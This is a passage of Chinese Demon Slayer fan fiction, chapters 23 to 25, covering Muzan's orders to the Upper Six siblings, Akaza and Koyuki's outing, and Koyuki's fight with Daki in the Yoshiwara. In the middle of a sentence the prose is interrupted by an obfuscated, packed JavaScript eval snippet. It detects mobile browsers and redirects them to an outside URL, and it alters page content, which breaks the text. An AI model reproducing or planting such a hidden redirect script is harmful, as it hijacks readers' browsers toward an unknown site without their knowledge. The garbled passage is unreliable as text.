无惨从不把鸣女的音乐放在心上,相反,鸣女才是他自言自语的“听众”。 面对这唯一的听众,无惨冷漠开口:“看来他还知道自己存在的意义,听到要找蓝色彼岸花之后还有点精神,不算完全堕落。” 一旁的鸣女却心道,上弦三比起上弦一、上弦二已经算很努力了吧。看来下属太努力的下场便是如此,稍微松懈一点就会招致大人的不满。黑死牟大人大门不出二门不迈,童磨大人每天在他那教派中玩过家家,无惨大人也没拿他们两个怎么样。 “……鸣女,别以为我不知道你在想什么。” “属下不敢。” 罢了。猗窝座之后,属鸣女最卖力。上次在洋宅惩处过对方之后,这个一向得力的上弦三天天心不在焉,他并不想鸣女也步猗窝座的后尘。 收起即将出口的嘲讽,鬼王简单交代一句:“把我传送去游郭。” “是,大人。” “铮”一声,琵琶弦响动。 23.我们一起去看烟花吧 太鼓、篠笛和三味线的音乐散去,瑰丽华彩也散去。又一晚的花魁道中结束。 百年来,她已经走过数不清多少条花魁之道。 长长的振袖,缓之又缓的外八字步,前呼后拥的人群,桃红,孔雀蓝,蛇绿,金鱼金,绮饰纷纶,华彩洪流。 在往日的往日,她的心中,似乎一度很向往那盛大场面。然而身处其中,才发现没什么特别的,歌弦会沉默,颜色会成为虚妄,层层叠叠的华锦,也只是蔽人眼目假象。 红尘滚滚扬起又滚滚沉下。 捧着振袖前厚重的太鼓结,堕姬回到房中。 幽冷的月色,却照出一室奢华中另一道身影。 “无惨大人!”顾不得振袖的厚重,也顾不得三齿木屐的高耸,堕姬惊喜万分,匆忙走到那位大人身前,俯身,伏在他的膝上。 无惨顺势拂过她雪白的颊,如同拂过一袭华美丝绸。 华美的丝绸,华美的衣装,蔽体的假象。他看重的,一直是这花魁皮囊假象下的…… 鬼王道:“让妓夫太郎也出来。” “是、是,无惨大人,我这就让哥哥出来……”鬼王信手洒下一点关切,而后直接让她唤出兄长,对此,堕姬似乎完全没有察觉。抑或即便察觉,她也毫无怨言。花魁纤长的手,绕过一侧窄肩,抚向背后。 投映在纸拉门上女子的窈窕身影,很快,从她背上分裂出一道高大但佝偻的黑影。 鬼王真正看重的上弦之六出现。 从妹妹躯壳中爬出来的妓夫太郎,恭敬地单膝跪在鬼王身前。 平时有什么命令,无惨大人一直是让妹妹转达给他,为什么今日需要特意召见他? “上弦之三一直在关东一带,杀灶门炭治郎我本来打算让他完成。但他近来太过松懈,我给他布置了另外的任务,”想起被派到长崎去的猗窝座,无惨道,“刚好你们两个也在东京,尽早把那个小鬼杀了,不要再拖。” 原来是为了让他们去杀那个鬼杀队的家伙。 杀一个小鬼倒是不难,只是要主动走出游郭,他有点不太…… 转瞬将心中的想法压下,妓夫太郎正要回答遵命,却听见一旁的妹妹开口了。 “上弦之三大人最近不知道在干什么哦,我和哥哥也觉得他懈怠了。您不是想把鬼杀队里一个叫什么素山什么什么的剑士变成鬼吗,他好像也一直没有完成……”堕姬伏在无惨膝上,层层叠叠华服逶迤于地,华服中的人,如梅花般抬起艳丽面容来,“这个小任务我和哥哥也可以做到,杀灶门炭治郎的时候顺手的事。不用再交给猗窝座大人啦。”一如一个天真的孩子,志在必得地竞争家长的注意力。 妓夫太郎倏然抬眼,怎奈堕姬已将话说完。 鬼王猩红的瞳微微眯起。 素山什么什么? 他这才想起,几个月前自己是交代过猗窝座这么一件事情。在无限列车上有个很有制药天赋的女人。 让猗窝座去把一个女剑士变成鬼,过去这么久了还没办成? 鬼王冷笑一下,道:“行,那这个任务就交给你和妓夫太郎了,杀了灶门炭治郎之后,顺便把那个女人变成鬼。”以示对她上进的嘉奖,无惨抬起手,轻轻摸了摸堕姬满头珠翠下的黑发。 下一刻,他的目光又转向跪在地上的妓夫太郎:“还有,你们两个在东京停留得太久了,完成这次任务后,是时候离开游郭去找蓝色彼岸花了。你们潜伏在游郭一百多年也没有打听到任何消息。” 他说到“没有打听到任何消息”时,阴森的威压渐渐渗出,令上弦六兄妹二人一瞬僵硬。 无惨恩威并施,三言两语敲打了兄妹二人一番后,又道:“就当作是提前给你们的一点嘉奖,我会再分给你们我的血液。” 那个鬼杀队少年杀了下弦一,派猗窝座前去也没有成功处决,这回,鬼王决定保险一点,加强一番部属的力量。 但被他唤到跟前的,只有妓夫太郎一人。 鲜红如蛇信的鬼之血缓缓汇入上弦之六的掌心。 * “我才不想去游郭以外的地方。但一切都是为了大人的心愿,也只好努力了。”鬼王离开后,堕姬仰躺在兄长怀中,小小地抱怨了一下。 垂首看着她的兄长,面孔如同黑影中铜绿的鬼将塑像。异神的大殿中,伫立侍候的妖鬼将领。在幽黑的彼岸,除了信奉他们那邪异的神祗,他另一个也是仅有的一个任务是…… “妹妹,你刚才……不该在无惨大人面前打那个小报告。” 他另一个也是仅有的一个任务是让一切危害远离他唯一的家人。 “让那个女剑士转化成鬼,我们说不定会和上弦三结下梁子。” 他怀中的堕姬却笑道:“谁在乎他怎么想啊。把他的宠物变成鬼,我看他反过来感谢我们还来不及。” 妹妹说得似乎也有道理。尽管上弦三喜欢那个人类,但那个人类变成鬼不是更符合上弦三的利益么?至多只是,他和妹妹侵犯了上弦三的领地,惹得那个疯子不快而已。 如果上弦三要出气,凭自己的实力还不至于保护不了妹妹。他随意搭在窗台上的臂,苍青色血管跳动。 “张开嘴。” “咦?” 虽然不知兄长的用意,堕姬还是微微张开了花朵般红唇。 下一刻,艳丽的血液,已从妓夫太郎冰冷掌心渗出,细流般缓缓淌入堕姬唇中。 涓涓细流,细意缓慢,生怕有一滴血飚溅于外,弄脏了妹妹心爱的振袖一般。 堕姬将血喝下,长睫轻眨:“哥哥,大人分给你的血液,你还要分一半出来给我吗?” 妓夫太郎随意答道:“这有什么,我所有东西都会和你共享。” 其实,她刚才是对无惨大人只给哥哥血液有一点小介意。不过她和哥哥之间暂时还有差距,这也是没办法的事情。 然而哥哥捕捉到她的失落,将珍贵的血液分了一半出来。 她舔舔红唇,血染过的唇鲜红欲滴:“虽然觉得游郭外面很无聊,不过只要是和哥哥在一起,去哪里我都无所谓。等找到大人想要的蓝色彼岸花了,我们立刻就回来。” 兄长枯枝般的指腹,轻轻擦过她唇上一珠鲜红,而后将那一滴她没吞下的鬼血含入口中。 他道:“所有鬼找了几百年也没找到的蓝色彼岸花,说不定没有那么容易找到。” 堕姬纤长的手环上妓夫太郎的颈:“没那么容易就没那么容易,大不了找久一点。借此机会到外面游玩一番也不错。” 那红唇中继续吐露更多幽艳危险话语:“上次没吃成的那几个大学生,出去后我要把他们碎尸万段。学生们长得真不错呢,青春靓丽,细皮嫩肉,肯定很好吃。” 她雪白的额,抵在哥哥黑斑数点的额上:“只要我们两个在一起,肯定不会有做不成的事情。” * 月底,三十一号。还有三天。 如果鬼王知道他所说的“月底”在上弦之三的理解里是本月最后一天,七月三十一号,大约能立刻怒从心头起。 但眼下听他说三十一号要离开东京的却是一个完全不会对猗窝座动怒的人。 明明说了请他不要再跟着她,他还是跟了上来——虽然说,事出有因,他过几天就要走了。 万幸,这几天他没有选择她的同伴在时出现,而是等她一日任务结束、她“落单”时再优游地现身。 但…… 恋雪道:“我每天都这样找个借口说我要自己独处,很奇怪哦。显得我很不合群呀。” 走在她身旁的鬼眯起暗金色的瞳:“合什么群?有必 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身旁的恋人忽然开口:“你盯着那个发簪看干什么?喜欢的话我就买给你,虽然只是个便宜的小玩意。” 啊,怎么又倒打一耙,明明是他在盯着看,她才顺着他的目光看去。 唉,他现在就是这样,能让他稍微坦诚一点很不容易。 雪花发饰很快被猗窝座买下,淡蓝的发饰,经由他深蓝的手别到她乌黑发间。 饰品,他送给过她很多。黄金的,蓝宝的,祖母绿的,粉碧玺的,东洋或西洋出品,全都雕琢精致,价值不菲。从不关心珠宝首饰的斗之鬼,当然对这些一窍不通,只不过是下级鬼上供给他,他便全都堆砌到她眼前。一如一个虔诚的信徒,一有一点财富便全都献到他忠贞爱护的天女像前。那些宝光辉煌珠玉,不及她身上一点柔淡光晕,他只要看见她,便对那些华美外物通通视而不见。 但眼前目下,他第一次看清她发间一件微不足道的发饰。 只是这样一件廉价的,玻璃的发簪。 像雪花落在她秀浓发间。 另一个世纪吹来的风,苍凉地吹过鬼的心灵。在那个遥远的时代,他似乎曾经想过,要是能变成落在她发间的雪花,就此消散就好了。 为什么会有那种奇怪的想法? 猗窝座微微偏过头去:“这发簪不过是个不值钱的玩意。你如果喜欢这个造型,等我回来之后,我会找个工匠用昂贵的材料再给你打造一件一模一样的。” 一旁的店主有点翻白眼了,小伙子你前脚买了这发簪后脚又说是个不值钱的玩意真的好吗? 还是那位小姐有礼貌一点。 恋雪摇了摇头,笑道:“不用了,它很漂亮,我很喜欢。” 而且那时候……你在山下为我买来的那枚发簪,也并不是什么昂贵之物。即使不名贵,我也对它十分钟爱,每日都佩戴着。 忽然间,她却意识到了什么。 “猗窝座先生,你的……”你的血鬼术,为什么会是雪花? 话未说完,她又打住了。她隐约能猜到,倘若要他揭晓这个秘密,势必会翻涌起他心中巨大的痛苦。 但她的声音再轻柔他也听得一清二楚:“我的什么?” “没什么,我就是想说——”恋雪匆忙地四下环顾一下,终于找到能将话题岔开的东西,工艺品小店旁边的烟花宣传画,“八月似乎有花火大会,等你的任务结束后,我们一起来看吧。” 招贴画上五彩纷呈,流光飞舞,东风夜放花千树。 她微笑一下,用着给凶猛的大猫顺毛的语气:“猗窝座先生,你不是说你喜欢看烟花吗?我真诚地,邀请你和我一起看,希望你能接受我的邀请。” 24.花宵业火尸鬼之梦(上) 猗窝座离开后,恋雪收到了舞寄来的信。 对方现在一天有两份工作,白天在银座的和服店里当店员兼学徒,晚上在工厂上夜班。 她抽空去了银座一趟。 “打两份工会不会有点辛苦?” “不会,我才十九二十岁,正是充满精力的时候。” 舞又道:“在和服店工作很充实,老板和老板娘很照顾我,我在店里学到了很多。”游郭的过往让她积累了对衣装的各色知识,和服的染织、剪裁、面料,她如数家珍。店里的工作她很快就能上手。 这是一家装潢古朴传统的店,店主是一对老夫妇。看到她是舞的朋友,店主夫妇还让舞提前午休去和她叙旧。 “姐姐的病也在逐渐好起来,我们有空的时候会去基督教会还有妇女之家帮助其他一些逃出来的姐妹,”但说着说着,舞的神色有点凝重,“听一个逃出来的姐妹说,最近,游郭那边似乎有许多游女失踪了……” 临别前,舞要送她一条腰带。 淡蓝水色,纹样是垂悬在海面上的粉色花朵。仿佛只要一阵微风吹过,那海面便会翻起温柔波浪,承托粉红花影。色彩搭配,织造技法,材质表现,构图设计,甚至打结后的支撑性,全都都看得出设计者很有天赋。 舞笑道:“这是我第一件作品,老板娘让我自己留着作为纪念,不过我想把它送给你。素山小姐,还请你一定要收下。” * 看见朋友的生活逐渐步入正轨,她甚感欣慰。但舞透露出来的游女失踪之事,返程路上一直在她心中挥之不去。 去探查游郭中是否有鬼,本来也是她上次游郭之行的目的之一。结果最后出现的鬼只有狛治一人。 恋雪眉心渐渐蹙起,心中浮起一个猜测。 或许游郭中当真潜藏着信息不明的鬼,但是因为上次有他在,他们没有露面。现在他离开了关东……自己要不要再去看看? 思索间,她的肩膀被人一拍—— “小雪?” 映入眼帘的,是两条鲜丽的粉红渐变长辫和一张山樱般明媚的脸。 “蜜璃前辈!” 她想起来,蜜璃前辈其中一处住所也在麻布区,她父母家。 “我回来看看爸爸妈妈,顺便——”蜜璃举起手中的风吕敷木盒,“顺便买几件新的浴衣,八月份有花火大会呢。这附近有一家我很喜欢的和服店。” “蜜璃前辈很喜欢的和服店,该不会是那家店主在……” 蜜璃和她心有灵犀:“就是店主在巴黎留过学那家。那家店的染织和剪裁设计都很新颖,我很喜欢!我还介绍了宇髄先生也去,他也给出了很高的评价!” 世界上居然有这么巧合的事情。 猗窝座先生的审美居然和蜜璃前辈还有宇髄先生一样……不过好像也可以理解,他们三位都很喜欢华丽的东西。 “每次去都要听他说很多自己的留学经历呢,真是三年美院生活一生巴黎情怀呀。等彻底消灭鬼后,我也想去欧洲看看。我想在塞纳河边一边吃蒙布朗一边画画。” 三年美院生活一生巴黎情怀,要是别人说出来,大约还有点阴阳怪气的意思,但是从蜜璃口中道出,她似乎是真心地认为那艺术家三句话不离巴黎是因为对巴黎爱得深沉,多么值得尊敬的浪漫之情! 她眨眨眼,笑道:“呀,这个木盒,小雪也去买了衣服么?” 恋雪道:“这是我朋友送我的腰带。她现在在银座的和服店当设计学徒,这是她第一件作品。”说着,她轻轻打开了木盒,对另一位朋友也展示这条她心爱的腰带。 “真好看,这是我喜欢的浪漫又靓丽的风格!小雪,你的这位朋友也在欧洲留过学吗?” 听蜜璃一说,恋雪才发现舞小姐的风格似乎和那位巴黎情店主有异曲同工之处。店主夫妇看重她也是因为觉得年轻人的想法能为店里带来新的色彩吧。 “这倒没有……她最近才开始在和服店工作。”短时间内就已经有这么好的作品,舞小姐真是才华过人,她由衷地为朋友感到高兴。 但想起舞,又想起游郭中新近失踪的游女。 恋雪将木盒盖上,想了想,还是道:“蜜璃前辈,其实我想去游郭一趟。我怀疑游郭里有我没有排查出来的鬼。”她简要地将之前和社运组织的朋友们去了游郭一趟的事情道出。当然,省略了舞也曾是游女的事情,因觉得这是朋友的隐私。 “小雪,原来你在想这件事,”蜜璃亲昵地挽起她的臂,和她一起走在街上,“刚刚看到你的时候,你就皱着眉在想什么,我还在想要怎么委婉地问出口呢。” 恋雪花瞳中闪过一丝惊讶。刚才,她短短一瞬间便将忧虑收敛,没想到还是被注意到了。 “宇髄先生和炭治郎君他们也去了游郭。宇髄先生觉得游郭可能藏着上弦鬼。” 夜暮的麻布十番相当繁华,华灯四起、火树银花,各色店铺亮起晶晶的灯牌。晶亮的灯火映照着蜜璃明丽面容。 她道:“你想再去一次的话,我和你一起怎么样?刚好我也结束了上一个任务,如果真的有上弦鬼,两个柱会更保险一点。” * 看到炭治郎如今的模样,恋雪真的忍了很久才忍住不要笑出来。 至于蜜璃,忍了几秒钟就放弃了。 “宇髄先生真是太有奇思妙想了,怎么会想到让炭治郎君你男扮女装啊,明明可以去应聘游郭打手呀——真是,太,哈哈、太太太可爱了……!难不成,善逸君和伊之助君也是这副打扮?” 炭治郎的脸已经完全红透:“蜜璃姐……!” 下一刻,纸拉门拉开。 恋雪回头,是另外两个孩子收到信后赶过来了吗?善逸君和伊之……呃。好像,无法再称为善逸“君”和伊之助“君”了。 蜜璃愣了几秒,随后,笑得更厉害,翡翠绿瞳中甚至因为这停不下来的笑意而泛出一点泪花。 “噗,居然,居然真的是善子和猪子——” “樱饼女人你笑什么!” “伊之助你不要这样称呼甘露寺小姐,太没礼貌了!” “没事没事,”蜜璃摇摇手,本想说她不介意这关于樱饼的小绰号,她很喜欢樱饼,但说出口的却是——“我不会和漂亮的女孩子计较的。”啊,糟了糟了,怎么说出来了,伊之助君和炭治郎君不一样,他好像很不经逗! 漂、亮、的、女、孩、子。 空气凝固了几秒。 本来顾及伊之助面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348115|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一直忍笑的炭治郎和善逸,这下实在没忍住。 就连一直克制自己的恋雪也,一只手半握成拳,在唇边轻轻遮掩着笑意。 发现连唯一一个稍微严肃一点的武道女人也在笑,伊之助恼羞成怒,握拳大声嚷道:“可恶的华丽之神,本大爷之后一定要和你决一死战!” 如此笑闹一会,渐渐说到正事。 “昨天,京极屋的楼主坠楼了。我们怀疑这就是鬼所为,根据善逸的说法那个楼主完全没有自杀的理由……”炭治郎道,“但到目前为止还没有发现鬼的气息。” 恋雪心道,能将气息完全隐藏的,确实有很大可能是上弦之鬼。 要是他走之前问问他就好了。他好像每次都会不经意间给她透露一些情报。 她从心海中翻找着和他相处的片段,他有没有提到过他“同僚”的时候——之前狛治好像是有说起一次。他说……猗窝座充满不屑之色的俊美面容浮现在她记忆中。月下窗旁,深粉色头发的男人托着腮,随意道,都是群让人感到恶心的家伙。 唉,好泛泛而谈的评价。早知道当时顺着这个话题再问几句了,比如他特别讨厌哪一个。 蜜璃搂了搂她的肩,也向其他几个少年鼓劲道:“没关系,现在多了我和小雪两个人,一定很快能把这里的鬼揪出来。如果是普通的鬼,就干脆利落斩杀掉,如果是上弦,我们就一起加油把它解决掉。” 目前鬼杀队内有相关信息的上弦鬼只有上弦之三。从之前主公给柱级队员看的资料来看,她和宇髄先生联手不一定能战胜他。但如果是比上弦之三低级的上弦,说不定可以……明明是想着如何战胜可能藏在暗处的上弦鬼,但时不时地,蜜璃脑海中又浮起那资料中记载的招式。 杀鬼以剑技为主,除了她和炼狱先生、富冈先生,鬼杀队中鲜有人知道小雪曾经修行武道的事情。 恋之呼吸虽然有从武术中吸取经验,更多却是取自她从小练习的体操。对于武术,她的造诣不能说特别深刻。即便如此,她依然能看出…… 那些招式中的相似之处,会是巧合吗? 多想无益!她将关于上弦之三的想法暂时抛开,转而道:“宇髄先生在哪里,还没来吗?” 话音刚落,她和恋雪背对着的窗外夜色中已悄无声息多出一人。 “在这。” 白发的男子,不知何时出现在窗台上。 白发,钻石护额,红色眼妆,忍者风格的无袖制服下露出健美双臂。从体格到容貌,完全是无懈可击的华丽的美男子。 这美男子做了一个极其浮夸的拇指向下的动作:“伊黑的动作也太慢了,我可是昨天就让鎹鸦去找他过来。” “既然甘露寺和素山来了,那就不用等他了——对了,这之后有空帮我转告一下炼狱,谢谢他借给我的三个继子。” 炭治郎心道,那是因为宇髄先生您来炎呼道场借人的时候谁都没想到会男扮女装啊! 恋雪道:“不用等伊黑先生,是直接和敌人开战的意思吗?” “对,因为我的三位妻子现在的处境可能很危险,”音柱宇髄天元一掌拍到拳上,“再这样找下去太慢了,所以我决定直接去威胁京极屋的老板让他吐点有用的消息出来。” 25.花宵业火尸鬼之梦(中) 既然已经决定好明天就把鬼引出来,音柱建议几人在游郭的藤屋休息一晚上,做好准备。 不过—— “善逸君,你还要回京极屋吗?” 被恋雪叫住的善逸回过头:“诶?” “因为我在那边扮演秃,所以……” 恋雪道:“善逸君你也太尽责了,今天就留在藤屋吧。” “其实我的队服还有行头那些还在那边,日轮刀也……” “纹一你小子集合居然不带日轮刀过来!本大爷可是特意叫肌肉老鼠把我的刀拿过来了!”说着,伊之助就从身后的和服腰带中抽出锯齿刀锋的双刀来,洋洋得意。 “因为炭治郎的鎹鸦飞过来的时候我被叫到楼下表演三味线去了啊,右卫门的叫声很急的样子,我就先过来了。”要是知道甘露寺小姐和素山师姐在,他就不穿女装过来了好吧!而且只是带了刀没有换衣服的伊之助有什么资格说他! 恋雪拍拍鬼杀队制服的袴裙,站起来,笑道:“那我和你一起去吧,在鬼故事里这种时候可不好一个人行动。而且京极屋的楼主昨天坠楼了,京极屋不是很有危险的嫌疑吗?” “啊,太麻烦素山师姐你了……”善逸有些不好意思地摸了摸后脑。 “没事,来回京极屋一趟也就半小时而已,很快,”恋雪上前拍了拍他的肩,回头对众人道,“我和善逸君半小时内就回来。” * 虽然来回一趟只有半小时,但短短十几分钟的路上,她还是和这位师弟聊了许多。毕竟,作为师姐要关怀一下后辈们的近况和心境。 “不是吧,善逸君你这件羽织居然是桑岛先生亲手做的吗,真看不出来桑岛先生还会做衣服,手艺还那么好,”恋雪笑着点点头,道,“他许可你在炎之呼吸当继子,之前炼狱先生还和我说等他有空了,一定要找机会拜访桑岛先生一次。” “爷爷他平时就在桃山,炼狱先生要是去一趟爷爷一定让他带一大筐桃子回来——那些桃子都是我们自己种的,我和爷爷还有师兄之前一直认真打理那些桃树……”他絮絮叨叨地,和恋雪分享了许多种植桃树的经验。 恋雪一边走,一边倾听着。 善逸君的师兄,似乎是一名叫狯岳的队员。这还是之前桑岛先生寄来的信里写的,说他和狯岳都为善逸能成为炼狱先生的继子而高兴。在桑岛先生的信中,他的大弟子是一个可靠、有潜力、爱护后辈的人。 但平时她从没见过善逸君和他的师兄有过什么交流,或者说,从没见过他们有会面的时候。 说起来,她自己都没见过那位叫狯岳的,和她同级的雷呼剑士……之前从神社回来的路上她隐约察觉到善逸君和他师兄或许有点矛盾,想稍微了解一下才知道,善逸君的师兄平时根本不会在藤屋或者其他驻点停留,一直在外出执行任务。 她暂时的思索,让善逸以为她是在沉默。 啊,糟了,他怎么一直在说自己的事情。是不是他一直在爷爷、桃山说个不停,师姐不耐烦了? 善逸赶紧在脑海里翻找着恋雪可能感兴趣的东西,几秒后,终于抓住了一闪而过的灵光:“对了,师姐你丈夫真是支持你的工作啊!” 他没头没脑地说了一句。 这句话的逻辑是,既然没听素山师姐说过对方阻挠她杀鬼,就姑且当作是支持吧。因为对一个不知庐山真面目的男人,除了这点也实在没什么好夸了……虽然已经是二十世纪,阻挠女孩子们出门工作的家伙还是多得很,这勉强也能算一个优点吧…… 恋雪却道:“没有哦,他之前对我的工作很有意见。” 很有意见的意思是,猗窝座先生直接邀请她去当鬼。不过最近倒没怎么再听他提起过这茬。 身边的善逸呆住。 他居然,说错话了。 “怎么这样?!”他很快把这位只从炼狱先生口中听过寥寥数语的“武道高手”,想象成了一个阻止素山师姐出门工作的封建男人。一个武道男、道场男,是九州男儿型大男子主义者的概率很高啊!而素山师姐,是一个从封建家庭中出逃的坚强女人…… 恋雪显然读懂了他的眼神,笑道:“都是之前的事情了,我和他沟通了几次后,他现在听话多啦。” 恋雪不过淡淡一笑,落入善逸眼中,她的形象立刻又变成了一个轻松拿捏“九州男儿”的高段位女人。真是柔美的外表下藏着支配的丝线,高深莫测,深不见底…… 恋雪大概能猜出他此刻的想法,一时间也不知道回答什么好,只得有些无奈地转移了这个话题:“刚刚很谢谢善逸君你愿意和我分享你自己的事情,我听了你在桃山的经历,觉得很有趣,很有田园诗意。” 很自然地,她再加上一句:“善逸君,如果你平时有什么烦恼,可以随时告诉炼狱先生和我。” “师姐,我……” 说话间,京极屋到了。 夕阳西下,游郭缭乱的深红色灯火渐渐亮起,如血的夕阳,如血的红光,照到二人身上。 * 日轮刀和鬼杀队的制服,都在楼上。 只是把行头带走,花个几分钟而已,本来是这么计划的。 但取了刀和制服后下楼的时候,一阵微弱的哭声传到善逸耳中。 “怎么了吗?” “好像是其它和我一样也在当秃的小女孩的哭声……” 什么叫“和我一样”? 恋雪噗嗤一笑:“看来善逸君弹三味线弹得很有归属感啊,那我们就去看看吧。” 障子门拉开后,一片混乱。一个看上去不满十岁的小女孩跪在散乱一地的家具和杂物中,低低啜泣。 “怎么这么乱!”善逸见那小女孩哭得更厉害,一时慌张,手忙脚乱地走上去安慰她,“我没有在怪你的意思!啊,你脸上的伤口……!” 小女孩抽噎着,断断续续道:“蕨姬花魁吩咐我十分钟内把房间收拾好,但……” 这一地混乱,根本不是十分钟能收拾好的模样。 蕨姬花魁美艳刻薄的名声,他也有所耳闻,但是来到京极屋后还没有见过这位花魁的真面目。 “没事,我帮你一起收拾吧,我速度很快!素山师姐,能再留五分钟吗,我想帮……”然而善逸回过头时,却发现恋雪背对着她。 素山师姐的背影,高度绷紧。 嘀嗒。 咔。 他能听见汗水从素山师姐额头滴落的声音。还有,她将手轻轻按到腰间、被羽织遮住的日轮刀刀柄上的声音。 唯独,他没有听见门口那道身影出现的声音。 黑白相间的色打褂,艳梅色振袖,层层叠叠的玳瑁发饰和嫣红眼妆,这个打扮,是这个孩子刚才在说的花魁。 什么时候出现在这里的?他异于常人的听力,居然完全没有听到对方的动静—— 花魁面无表情:“京极屋不招待女客喔,这位小、姐。还有,这个发色奇怪的丑八怪在这里干什么?” 几个游女在走廊拐角探出头来,小心为恋雪解释道:“蕨姬花魁,这位是上个月来过京极屋义诊的红十字会的护士小姐,那天您刚好不在。” 跟着她一起过来的两个秃也道:“这位善子是这两天才来的……” “哦,是吗?红十字会的护士?看这身制服,不是护士吧,”花魁妩媚的脸微微歪着,笑道,“那天你们义诊过后东云屋的两个游女就逃跑了,还伤残了一群打手。虽然那家老鸨不敢声张,我可是清楚得很。” 那张艳丽笑面上,已凸起一道青筋:“这样闯入别人的地盘,破坏游郭的规矩,可是会吃苦头的。” 这个鬼的气息和之前斩除过的下弦不是一个级别。更别说现在京极屋里还有这么多人。 恋雪的余光飞快向善逸看了一眼,显然,对方也已经察觉到眼前的花魁并非人类。 但对方没有亮出身份,而是一直在这里和她还有善逸君周旋,拖延时间,是因为……恋雪心道,是因为现在太阳还没有完全落山。 还有最后一点时间。 她静美眉目纹丝不动,镇定道:“建立在压迫和苦难之上的游郭总有一天也会消失,在我看来完全没有必要遵守它的规矩。” 听见这一番话,花魁纤长的眉已然蹙紧,极度不乐。 “是吗?大言不惭的家伙。那我就教教你,什么是‘游郭的规矩’吧。” 快到几乎看不见影子的拳扬起,但不是冲着她来,而是—— 她的臂将那险些落到善逸脸上的拳头格挡。 恋雪迅速道:“善逸君,请快点疏散京极屋里的人群,然后去通知宇髓先生和蜜璃前辈他们,太阳还没有下山,还有最后一点时间!她现在不敢到外面去!” “真是相似的招式啊,和那个疯子……”堕姬微微一笑,目光也转向善逸,“这位鬼杀队的弟弟,你的这个素山师姐,可是和上弦之月——上弦之三勾结在一起哦。” 你的这个素山师姐,可是和上弦之三勾结在一起。这句话毫无疑问落入了善逸的耳中,但他置若罔闻,而是飞快地,拉起那个还在屋内的秃,然后如飞电般冲出门外—— 等迅速将围观的游女和秃都“赶”下了楼,他才在走廊尽头处回头大喊道:“少在这挑拨离间了,谁会听你这个鬼胡说八道啊!” “素山师姐,我很快就回来!”金黄的身影,顷刻从楼梯跃下。 “丑八怪,居然敢逃跑——”堕姬眼风一转,顿时,数十条玫红色衣带朝善逸消失的方向追击而上。 然而一道峰丽的刀光将那百花缭乱的衣带斩断。 那刀光也映照着一张如花枝上的白雪般清丽的脸。 恋雪持刀站在她面前:“善逸君不是丑八怪,停止你对别人的嘲讽。” “怎么,这次上弦三没有陪着你一起到游郭来,闹别扭了?”堕姬明知是那位大人把上弦之三调走了,仍在出言讥笑着,“在这装模作样自以为正义干什么呢,那位大人让我把你变成鬼,你就乖乖变成鬼吧!变成鬼,还能和那个疯子双宿双飞,哈哈,让你们当一对鬼夫妻,你还得感谢我呢——” 她的嘲讽和挑衅,恋雪只当是卷过耳边的喧杂风声。 因为眼前的鬼,眼中已经浮现出数字。 六。上弦之六。 对付上弦不能掉以轻心。 色打褂、振袖,层层叠叠华服如蛇蜕般从堕姬身上脱落,露出便于战斗的简洁服装。 玫红的衣带,顷刻变成血色,向着对面的女剑士飞袭而去。新注入无惨大人的血,她的血鬼术已比之前更为强大,等把这个不知天高地厚的女人解决之后,就把那个什么灶门什么什么给杀了—— 房中的花道盆栽,被猩红衣带擦过后迅速枯萎、化灰。 乱舞的绸带宛如赤练之蛇,艳丽且充满毒素。 恋雪一边举刀招架,一边向后撤退般跃去。 因为隐约猜出了这个鬼的来历,她对她还有最后一丝悲悯:“失踪的游女,都是被你吃了吗?”尽管已经心中有数,她仍想最后确认一次,眼前这个女鬼的罪孽之重。 堕姬纤眉挑起:“当然。” “在吉原,所有女人都是商品、是物件,无论是买卖还是损坏都在所有者一念之间,作为掌控整个游郭的上弦之月,我当然是想吃就吃。我遭受过的痛苦和不幸,全都要以牙还牙,以眼还眼,加倍施加在——” “但那些无辜的游女,她们没有加害于你。如果你怨恨吉原,怨恨游郭,为什么不是去摧毁一切的起源,而是挥刀向下、迫害和曾经的你一样的人?” 花魁美丽眉目一瞬扭曲,绿瞳中涌上翻滚的怒意。 “你懂什么,你明白什么,你以为稍加施舍就可以改变游女的命运,以为只要在报纸上打打嘴仗上街游行嚷嚷几句就可以推翻延续几百年的游郭,哈,哈哈,你以为我们不知道外面的世界在发生什么吗?游郭是因为你们而存在……只要人类的欲望存在,只要有人强、有人弱,游郭就会一直存在下去!” 在战斗中她一直不会和鬼有过多交流,这是又一次,破例。 恋雪摇了摇头:“对,人有欲望,有阶级,但人也有共情、有悲悯,有对自己的反思和砸碎腐朽之物的勇气。或许你早已失去了人类时的记忆,忘了人也有优秀的品质,但在鬼的生涯里你不也见证过幕府、武士这些也曾诞生于欲望和阶级的东西逐一消失么。” 持剑的女子,深粉色花瞳中静水流深:“总有一天,游郭也会在人们的努力下一同被扫入历史的垃圾堆。” 堕姬雪白颊边凸起的青筋更多。 “闭嘴,闭嘴!真好笑,游郭不会消失——”如果游郭消失了,她和哥哥受过的那些苦难算什么,他们作为曾是猎物的猎人,还没在这猩红的猎场里玩够呢! 面对越发狂暴的攻势,恋雪只是沉默地格挡。 她觉得和这个上弦已经没有什么话好说了。 既然已经确认了对方就是一直在游郭吃游女的鬼,她对她的一丝悲悯也不再重要。 短短几分钟,她已在上弦之六的攻势下接连避入数个房间,穿过一扇扇幛子门。 最后一个房间了。 自觉已将她逼入绝境的堕姬笑容艳丽张扬:“你就只会逃跑吗?看来猗窝座‘大人’是真的脑子不正常了,他不是说他最讨厌弱者吗,居然和你这种弱小的女人在一起。像你这种连柱都不是的队员,变成鬼后就去求你的上弦之三分几滴血给你喝吧,说不定还能让你变强一点!” 然而,很快,她的笑容褪去。 这最后一间房间中的纸窗,被那女人猛然拉开了。 太阳。 窗外正对着她的,夕阳。 赤金色的、人间最后一点夕阳的光辉,照到她身上。 “啊!”堕姬急忙抬手将脸挡住,然而那金黄的光辉已一丝不漏地照到她身上,就算挥舞衣带挡住,衣带也顷刻从猩红色退回玫红色,甚至,逐渐萎顿。 那个可恶的鬼杀队女人,居然是故意把她引到一个西向的房间—— 